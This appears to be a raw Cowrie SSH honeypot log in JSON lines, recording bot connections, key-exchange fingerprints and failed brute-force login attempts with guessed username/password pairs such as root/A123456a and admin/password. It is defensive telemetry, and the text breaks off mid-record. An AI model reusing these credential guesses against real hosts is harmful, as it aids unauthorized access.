{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":8870,"dst_ip":"10.17.0.5","dst_port":22,"session":"92c52456ea79","protocol":"ssh","message":"New connection: 5.196.136.131:8870 (10.17.0.5:22) [session: 92c52456ea79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:43.001734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:43.005433Z","src_ip":"5.196.136.131","session":"92c52456ea79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:43.082095Z","src_ip":"5.196.136.131","session":"92c52456ea79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:43.313368Z","src_ip":"5.196.136.131","session":"92c52456ea79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:44.392405Z","src_ip":"5.196.136.131","session":"92c52456ea79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":35406,"dst_ip":"10.17.0.5","dst_port":22,"session":"d59b98750d6e","protocol":"ssh","message":"New connection: 5.196.136.131:35406 (10.17.0.5:22) [session: d59b98750d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:47.488207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:47.491559Z","src_ip":"5.196.136.131","session":"d59b98750d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:47.573713Z","src_ip":"5.196.136.131","session":"d59b98750d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:47.820684Z","src_ip":"5.196.136.131","session":"d59b98750d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:48.905242Z","src_ip":"5.196.136.131","session":"d59b98750d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.90.19.40","src_port":49312,"dst_ip":"10.17.0.5","dst_port":22,"session":"476f75376fe9","protocol":"ssh","message":"New connection: 78.90.19.40:49312 (10.17.0.5:22) [session: 476f75376fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:48.945234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:48.948777Z","src_ip":"78.90.19.40","session":"476f75376fe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:49.079482Z","src_ip":"78.90.19.40","session":"476f75376fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2020!!!","message":"login attempt [root/unitedstates2020!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:49.465126Z","src_ip":"78.90.19.40","session":"476f75376fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":58026,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f9a710070d2","protocol":"ssh","message":"New connection: 162.144.249.8:58026 (10.17.0.5:22) [session: 7f9a710070d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:49.722860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:49.726536Z","src_ip":"162.144.249.8","session":"7f9a710070d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:49.751068Z","src_ip":"162.144.249.8","session":"7f9a710070d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doha","password":"Doha#S3cur3#Cr@zy$P@ss","message":"login attempt [doha/Doha#S3cur3#Cr@zy$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:49.827221Z","src_ip":"162.144.249.8","session":"7f9a710070d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:50.589909Z","src_ip":"78.90.19.40","session":"476f75376fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:50.854715Z","src_ip":"162.144.249.8","session":"7f9a710070d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":57058,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe8ac7d24c34","protocol":"ssh","message":"New connection: 5.196.136.131:57058 (10.17.0.5:22) [session: fe8ac7d24c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:51.940355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:51.943860Z","src_ip":"5.196.136.131","session":"fe8ac7d24c34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:52.022219Z","src_ip":"5.196.136.131","session":"fe8ac7d24c34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:52.255241Z","src_ip":"5.196.136.131","session":"fe8ac7d24c34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:53.334900Z","src_ip":"5.196.136.131","session":"fe8ac7d24c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":21282,"dst_ip":"10.17.0.5","dst_port":22,"session":"2269f438d6ff","protocol":"ssh","message":"New connection: 5.196.136.131:21282 (10.17.0.5:22) [session: 2269f438d6ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:56.298912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:56.301847Z","src_ip":"5.196.136.131","session":"2269f438d6ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:56.397837Z","src_ip":"5.196.136.131","session":"2269f438d6ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:56.650232Z","src_ip":"5.196.136.131","session":"2269f438d6ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:57.733400Z","src_ip":"5.196.136.131","session":"2269f438d6ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":43504,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce402a9033bd","protocol":"ssh","message":"New connection: 5.196.136.131:43504 (10.17.0.5:22) [session: ce402a9033bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:00.804105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:00.807941Z","src_ip":"5.196.136.131","session":"ce402a9033bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:00.886013Z","src_ip":"5.196.136.131","session":"ce402a9033bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:01.122021Z","src_ip":"5.196.136.131","session":"ce402a9033bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:02.203326Z","src_ip":"5.196.136.131","session":"ce402a9033bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":42992,"dst_ip":"10.17.0.5","dst_port":22,"session":"85fda7413fde","protocol":"ssh","message":"New connection: 5.196.136.131:42992 (10.17.0.5:22) [session: 85fda7413fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:05.255611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:05.259119Z","src_ip":"5.196.136.131","session":"85fda7413fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:05.335047Z","src_ip":"5.196.136.131","session":"85fda7413fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:05.564978Z","src_ip":"5.196.136.131","session":"85fda7413fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:06.643424Z","src_ip":"5.196.136.131","session":"85fda7413fde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":9128,"dst_ip":"10.17.0.5","dst_port":22,"session":"56d6052178d9","protocol":"ssh","message":"New connection: 5.196.136.131:9128 (10.17.0.5:22) [session: 56d6052178d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:09.685979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:44:09.689414Z","src_ip":"5.196.136.131","session":"56d6052178d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cer